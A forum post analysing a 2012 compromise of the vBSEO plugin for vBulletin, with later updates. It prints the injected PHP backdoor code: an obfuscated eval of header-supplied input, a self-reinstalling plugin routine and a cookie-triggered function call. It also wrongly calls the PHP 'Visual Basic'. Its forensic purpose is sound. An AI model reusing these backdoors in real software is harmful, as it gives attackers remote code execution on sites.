Quantcast vBSEO Hack/Exploit! Adds unknown plugins, turns links red, causes database errors - digitalFAQ Forum
Go Back    Forum > Digital Publishing / Web Sites > Website and Server Troubleshooting

Reply
 
LinkBack Thread Tools
  #1  
01-27-2012, 10:57 AM
kpmedia's Avatar
kpmedia kpmedia is offline
Site Staff | Web Hosting, Photo
 
Join Date: Feb 2004
Posts: 4,304
Thanked 368 Times in 338 Posts
What Happened ?

A core file of vBSEO was exploited on December 1, 2011, which allowed hackers to insert malicious code into vBulletin sites using vBSEO. If you accessed the vBSEO control panel from 12/1 through 1/23 then your site is pretty much guaranteed to be infected. The hack exploited a file on the vBSEO file servers -- the file used to respond to the vBSEO "phone home" script. Every time you log into the vBSEO admin panel, vBSEO phones home to check for updates. The hackers changed the file to "phone home" to another server.

The hack appears to have gone undetected because it was silent until 1/22, at which time it was either "activated" or it failed. I honestly think that a change made by the hackers -- a coding mistake -- broke their script. That, in turn, caused widespread vBulletin database errors and broke CSS, causing links to turn red on infected sites.

Sites were broken/infected throughout 1/22, 1/23 and 1/24. (I've not seen any reports from 1/25 or afterwards.)


What Did the Hack Do ?

The code altered your site's cookies, which stores data every time somebody logs in/out of the site, as well as anytime the site is visited by non-members. Based on my decryption/de-obfuscation of the code, and analyzing what's going on -- combined with analysis from my own infected sites -- there's two possible scenarios:
  1. The code was skimming affiliate links -- especially to Amazon.com
  2. The malicious code was able to determine the username/password of the site administrator; it does not appear, however, that this part of the code had been initiated. It's possible that the mass broken-database event was a botched attempt to migrate from link-stealer to board defacement.
I believe that both #1 and #2 were happening.

Although the economy is bad, and shopping is generally down -- online sales had supposedly increased to an all-time high during the past holiday season. However, the hacked forum's site had about 50% of the Amazon.com affiliate sales as compared to one year ago. Yet traffic on the infected site was up about 150% compared to the previous year. More traffic, but less income? Certain items that sell regularly, as linked to only from the forum (and not the main site), had not been selling for at least a month. That had been bothering me for weeks. Upon careful inspection of affiliate sales, day by day, it seems that only the main site was really generating affiliate clicks, and the forum's links had died down to almost zero in mid-December -- around the same time I had made some tiny tweaks to the vBSEO options.

If you were hacked by this vBSEO exploit, and saw a decrease of Amazon affiliate sales this year, please reply to this post!

Immediately after this exploit was removed from my site on 1/24, the forum-only links were again generating income. The daily totals doubled/tripled, and the specific items ONLY mentioned on forum posts were again found in the Amazon Associates report as items sold.

Regarding the attempt to hack admin accounts, here's a tip for you: After the vBulletin forum is established, create a new administrative user, and disable your own account from having admin abilities. Further add a custom title to the user, so it appears to just be another normal user, instead of showing "Administrator". For example, none of the Site Staff here have administrative abilities! We have only basic moderation privileges to moderate posts/threads. The admin is hidden amongst a sea of 10,000+ members.


What Did the Malicious Code Look Like ?

One of my vBulletin sites was "hacked" (hack made visible) on 1/24. Displayed in the browser was the following message:
Code:
Invalid SQL:
SELECT * FROM prefix_datastore WHERE title='pluginlist';
Additionally, I was getting vBulletin database error emails at a rate of almost 75 per minute, flooding my inbox.

Using SQLyog, I opened the database backups from 1/23 and 1/24 (and later 11/28), to compare the code. Into Notepad, I copied/pasted the text from each datastore's pluginlist row, and then ran the two TXT files through ExamDiff (free file comparison tool available here).

On 1/24, this (failed) code was added to the pluginlist row:
Code:
"assert(pack(chr(99).chr(42),40,33,101,109,112,116,121,40,36,95,83,69,82,86,69,82,91,34,72,84,84,80,95,70,79,79,84,69,82,68,73,83,80,76,65,89,34,93,41,63,101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,83,69,82,86,69,82,91,34,72,84,84,80,95,70,79,79,84,69,82,68,73,83,80,76,65,89,34,93,41,41,58,40,33,101,109,112,116,121,40,36,95,82,69,81,85,69,83,84,91,34,102,111,111,116,101,114,100,105,115,112,108,97,121,34,93,41,63,101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,34,102,111,111,116,101,114,100,105,115,112,108,97,121,34,93,41,41,58,117,110,105,113,105,100,40,41,41,41));
It's a Visual Basic script, which looks like this once decoded:
Code:
(!empty($_SERVER["HTTP_FOOTERDISPLAY"])?eval(base64_decode($_SERVER["HTTP_FOOTERDISPLAY"])):(!empty($_REQUEST["footerdisplay"])?eval(base64_decode($_REQUEST["footerdisplay"])):uniqid()))
"footerdisplay" is likely referring to a hidden iframe injection.

Further into the pluginlist row, this was also added:
Code:
"$GLOBALS["backups"]["randomseed"]=array (
  0 => 'global_complete',
  1 =>  's:648:"assert(pack(chr(99).chr(42),40,33,101,109,112,116,121,40,36,95,83,69,82,86,69,82,91,34,72,84,84,80,95,70,79,79,84,69,82,68,73,83,80,76,65,89,34,93,41,63,101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,83,69,82,86,69,82,91,34,72,84,84,80,95,70,79,79,84,69,82,68,73,83,80,76,65,89,34,93,41,41,58,40,33,101,109,112,116,121,40,36,95,82,69,81,85,69,83,84,91,34,102,111,111,116,101,114,100,105,115,112,108,97,121,34,93,41,63,101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,34,102,111,111,116,101,114,100,105,115,112,108,97,121,34,93,41,41,58,117,110,105,113,105,100,40,41,41,41));";',
);$GLOBALS["acpcache"] = array (
  0 => 'init_startup',
  1 => 's:1465:"if (!defined("vB_PluginCacheActive")) {     define("vB_PluginCacheActive", 1);    function vB_PluginCacheCheck()  {        try {            global $db;            $plugin_data =  $db->query_read("SELECT * FROM ".TABLE_PREFIX."datastore WHERE  title=\'pluginlist\'");            $plugin_info =  $db->fetch_array($plugin_data);            $GLOBALS["vbplist"] =  unserialize($plugin_info[\'data\']);            $GLOBALS["vbpcache"] =  "";            foreach($GLOBALS[\'backups\'] as $k => $v)  {                $back = unserialize($v[1]);                 vB_PluginCacheUpdate($v[0], $back, $back);                 $GLOBALS["vbpcache"] .= \'$GLOBALS["backups"]["\'.$k.\'"] =  \'.var_export($v, 1).";\\n";            }             $GLOBALS["vbpcache"] .= \'$GLOBALS["acpcache"] =  \'.var_export($GLOBALS[\'acpcache\'], 1).";\\n";            $back =  $GLOBALS["vbpcache"].unserialize($GLOBALS[\'acpcache\'][1])."\\n";             vB_PluginCacheUpdate($GLOBALS[\'acpcache\'][0], $back,  "vB_PluginCacheActive");        } catch (Exception $e) {}    }     function vB_PluginCacheUpdate($hook, $code, $test) {        if  (!array_key_exists($hook, $GLOBALS["vbplist"])) {             $GLOBALS["vbplist"][$hook] = "";        }        if  (strpos($GLOBALS["vbplist"][$hook], trim($test)) === false) {             $GLOBALS["vbplist"][$hook] = $code .  $GLOBALS["vbplist"][$hook];            build_datastore(\'pluginlist\',  serialize($GLOBALS["vbplist"]), 1);        }    }     $vbulletin->shutdown->add(vB_PluginCacheCheck);}";',
);
if (!defined("vB_PluginCacheActive")) {
    define("vB_PluginCacheActive", 1);
    function vB_PluginCacheCheck() {
        try {
            global $db;
            $plugin_data = $db->query_read("SELECT * FROM ".TABLE_PREFIX."datastore WHERE title='pluginlist'");
            $plugin_info = $db->fetch_array($plugin_data);
            $GLOBALS["vbplist"] = unserialize($plugin_info['data']);
            $GLOBALS["vbpcache"] = "";
            foreach($GLOBALS['backups'] as $k => $v) {
                $back = unserialize($v[1]);
                vB_PluginCacheUpdate($v[0], $back, $back);
                $GLOBALS["vbpcache"] .= '$GLOBALS["backups"]["'.$k.'"] = '.var_export($v, 1).";\n";
            }
            $GLOBALS["vbpcache"] .= '$GLOBALS["acpcache"] = '.var_export($GLOBALS['acpcache'], 1).";\n";
            $back = $GLOBALS["vbpcache"].unserialize($GLOBALS['acpcache'][1])."\n";
            vB_PluginCacheUpdate($GLOBALS['acpcache'][0], $back, "vB_PluginCacheActive");
        } catch (Exception $e) {}
    }
    function vB_PluginCacheUpdate($hook, $code, $test) {
        if (!array_key_exists($hook, $GLOBALS["vbplist"])) {
            $GLOBALS["vbplist"][$hook] = "";
        }
        if (strpos($GLOBALS["vbplist"][$hook], trim($test)) === false) {
            $GLOBALS["vbplist"][$hook] = $code . $GLOBALS["vbplist"][$hook];
            build_datastore('pluginlist', serialize($GLOBALS["vbplist"]), 1);
        }
    }
    $vbulletin->shutdown->add(vB_PluginCacheCheck);
}
The code tried to hide itself with passive names like "cache" and "update". You'll notice another obfuscated Visual Basic string -- this one is identical to the previous injection point. I don't entirely know what this block of code is doing, but it appears to be the failsafe for re-infecting a site when the fake plugin is manually removed. This would simply restore it.

However, this was not the only infection...

Prior to 1/24, I had accessed the vBSEO admin panel to alter some character replacement rules. At that time, I became infected. I went back to a guaranteed not-infected backup of the database, from 11/28 (the Monday after Black Friday). Again, the pluginlist row was copied to a TXT file and run through ExamDiff. This malicious code was discovered:

Code:
/* vBulletin Dynamic Menu Filters */
(isset($_COOKIE["vbulletin_collapse"]) &&  preg_match("/menu:([a-z]+):(.*)/",$_COOKIE["vbulletin_collapse"],$m))?$m[1]($m[2]):chr(20);
if(($vbulletin->options['stg_table_options']&64)&&in_array(THIS_SCRIPT,  array('announcement','calendar','editpost',  'newreply','newthread','private','showpost','showthread','usernote'))){
    $output = str_replace('</head>',"\t".'<style  type="text/css">'."\n\t\tspan.sortarrow  {position:absolute;}\n\t\tspan.sortarrow img  {border:0;}\n\t\ta.sortheader {text-decoration:none; display:block;  width:100%;}\n\t</style>\n\t".'<script  type="text/javascript">'."\n\t\t".'var IMGDIR_BUTTON =  "'.$stylevar['imgdir_button'].'";'."\n\t".'</script>'."\n\t".'<script  type="text/javascript"  src="clientscript/sorttable.js"></script>'."\n".'</head>',$output);
}
This is the fake plugin. It had existed for weeks, undetected.


How to Remove the Hack ?

Though vBSEO was quick to react to the problem -- patching the exploited file on their end and issuing a vBSEO code update -- they were somewhat slow in finding all the problem code in the database. I manually scrubbed my own site, unwilling to wait. At this "late" date (now 1/27, a few days after the hacks), vBSEO now has a fairly extensive list of tools for those who are scared to dig around their database.

You'll find those here:
The 1st page has the necessary vBSEO code change for the file /vbseo/includes/functions_vbseocp_abstract.php. You can either make the changes yourself, or download a replacement PHP file.

The 12th page has some database tools to help purge the bad plugins, as well as the malicious code found in the datastore. An alternative method is to remove the bad plugins manually from within the AdminCP, and then click Save Active Status at the bottom of the page, which clears/resets the datastore. (Tip: For the paranoid folks out there, feel free to use both methods. Try it manually first, then run the vBSEO tools to verify it's clean.)


What's Next ? / Conclusion

As of today, page 12 of the vBSEO thread has this statement of what's coming soon:
Quote:
Next up:
  • What went wrong / Mistakes we made
  • Actions we've taken to prevent this from happening again
  • Actions we are taking to further secure our systems and the software moving forward
  • My personal apology to our customers
  • Opening up announcement thread to discussion and questions
Now, I'm not going to skewer vBSEO for having a great product that's been code-raped by a malcontent...

...however, they do need to question the forced nature of "phoning home" !!! Personally, I turn off most update checkers, because they're a nuisance more than anything else. vBSEO is one I'd have turned off, if the option was available. I check for updates manually, as time permits, about once per month -- then weigh whether I want/need to actually undertake an upgrade/update. I think we need to lobby vBSEO for an ability to turn off something that can potentially wiggle its way into our forums and servers. This was a recent "feature" they've added anyway -- historically there was no phoning home to vBSEO servers for update checks. I'd much rather be on an updates mailing list than have something wedged into site code.

All things considered, I believe this hack cost me up to $1,000.

To borrow from a misquote of George Bush, income from these sites are one of the ways I can "put food on my family".

The hackers who did this need to be given the Osama treatment -- shot in the face, and thrown in the ocean.

I'll be contacting the Amazon Affiliate Program, requesting they audit their members for suspicious activity -- a sudden boost in traffic from December-January that seems out of the ordinary. For such a request to be taken seriously, any hacked forum owners who use the Amazon Affiliate Program, and saw their income decrease heavily, should contact them as well. And again, please reply here with your story or numbers.

Thanks.


__________________


Need a good web host? — Read our 2018 Review of the Best Web Hosts
Quite often, problems with web sites are caused by having a rotten web host. Worse yet, many hosts try to blame you (the customer) for the problems! So dump that lousy company. Say goodbye to slow sites, unresponsive support techs, and downtime. Find yourself a new host today. Whether you need shared, reseller, VPS, semi-dedicated, cloud, or dedicated hosting, something on our list should be a good upgrade for you.


- Did my advice help you? Then become a Premium Member and support this site.
- Please Like Us on Facebook | Follow Us on Twitter

- Need a good web host? Ask me for help! Get the shared, VPS, semi-dedicated, cloud, or reseller you need.
Reply With Quote
Someday, 12:01 PM
admin's Avatar
Ads / Sponsors
 
Join Date: ∞
Posts: 42
Thanks: ∞
Thanked 42 Times in 42 Posts
  #2  
08-22-2014, 12:42 AM
kpmedia's Avatar
kpmedia kpmedia is offline
Site Staff | Web Hosting, Photo
 
Join Date: Feb 2004
Posts: 4,304
Thanked 368 Times in 338 Posts
It's been more than 2 years -- almost 3 years -- since this hack took place. Sadly, many people are still being infected by the junk. (vBSEO was really terrible at security, and is the primary reason the company eventually failed.) And with vBSEO (aka Crawlability, Inc) gone, there's no "official" site for getting help anymore.

However, removing vBSEO is not the answer. That's silly.

We've found a way to:
- patch the code for known exploits
- remove the vBSEO "phone home" scripts that caused this whole hacking mess to begin with
- remove all traces of vBSEO brandings, seeing as how the company is defunct
- and you can change the URL now as well, without needing to contact the (now non-existent) registration server

See that at How to Remove vBSEO License Key Checks and 'Phone Home'

You can still enjoy the benefits of vBSEO.


NOTE: Some unscrupulous schmucks have been selling vBSEO fixes on vBulletin.org and other forums. Some of them have simply copied our method. Several of them are very suspicious, hiding behind anonymous usernames and Gmail accounts, as asking for your server credentials. That is not safe, not suggested, and not necessary!

- Did my advice help you? Then become a Premium Member and support this site.
- Please Like Us on Facebook | Follow Us on Twitter

- Need a good web host? Ask me for help! Get the shared, VPS, semi-dedicated, cloud, or reseller you need.
Reply With Quote
Reply




Similar Threads
Thread Thread Starter Forum Replies Last Post
Unknown dual-layer Blu-ray media ID ? singemfrc Blank Media 3 08-06-2012 04:11 PM
DVD Identifier database required? Runs in Windows 7? The Barking Cow Blank Media 3 03-09-2012 03:18 PM
Remove characters from URL vBulletin vBSEO ~`!@#$%^&*()+={}[]|;:'"<>,.? admin Website and Server Troubleshooting 0 03-14-2011 11:27 PM
Blu-ray adds new 100GB and 128GB disc/format specs! kpmedia Blank Media 0 04-08-2010 02:45 AM

Thread Tools



 
All times are GMT -5. The time now is 05:40 PM